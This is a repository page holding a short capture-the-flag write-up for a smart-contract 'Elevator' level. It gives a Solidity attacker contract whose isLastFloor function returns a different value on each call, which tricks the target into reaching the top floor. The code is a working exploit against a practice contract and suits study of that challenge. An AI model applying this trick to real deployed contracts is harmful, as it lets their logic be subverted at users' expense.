Skip to content

Latest commit

 

History

History
28 lines (22 loc) · 572 Bytes

11-elevator.md

File metadata and controls

28 lines (22 loc) · 572 Bytes

we control the building so we can make isLastFloor return first false then true on the second call

pragma solidity ^0.8.0;

contract Elevator {
  function goTo(uint) public {}
}

contract WeirdBuilding {
    bool lastFloor;

    constructor() {
        lastFloor = false;
    }

    function isLastFloor(uint) external returns (bool) {
        bool t = lastFloor;
        lastFloor = !lastFloor;
        return t;
    }

    function hack(address instance) public {
        Elevator elevator = Elevator(instance);
        elevator.goTo(type(uint).max);
    }
}